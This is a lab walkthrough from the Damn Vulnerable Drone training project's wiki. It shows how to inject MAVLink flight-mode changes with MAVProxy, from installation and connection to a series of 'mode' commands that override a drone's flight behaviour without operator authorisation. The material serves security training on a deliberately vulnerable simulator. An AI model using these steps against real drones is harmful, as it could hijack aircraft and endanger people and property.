Flight Mode Injection - nicholasaleks/Damn-Vulnerable-Drone GitHub Wiki

Changing the flight mode of the drone through a command injection.

Damn Vulnerable Drone > Attack Scenarios > Injection > Flight Mode Injection

Description

Changing the flight mode of a drone using MAVProxy involves sending commands to switch between modes such as Stabilize, Guided, Auto, Loiter, and others. This process is known as flight mode injection — where an attacker injects a mode change command into the MAVLink communication stream to override the current flight behavior without operator authorization.

Resources

⚠️ Solution Guide

Step 1. Install MAVProxy

sudo apt-get install python3-dev python3-opencv python3-wxgtk4.0 \
python3-pip python3-matplotlib python3-lxml python3-pygame

pip3 install PyYAML mavproxy --user
echo 'export PATH="$PATH:$HOME/.local/bin"' >> ~/.bashrc

Step 2. Connect to the Drone

Serial example:

mavproxy.py --master=/dev/ttyUSB0 --baudrate 57600 --aircraft MyAircraft

UDP example:

mavproxy.py --master=udp:127.0.0.1:14550

Step 3. List Available Flight Modes

mode

This command will return all available flight modes supported by the vehicle.

Step 4. Inject a Flight Mode Change

Use the mode command followed by the desired mode name:

# Stabilize Mode
mode stabilize

# Acro Mode
mode acro

# Altitude Hold Mode
mode alt_hold

# Auto Mission Mode
mode auto

# Guided Mode
mode guided

# Loiter Mode
mode loiter

# Return to Launch
mode rtl

# Land Immediately
mode land
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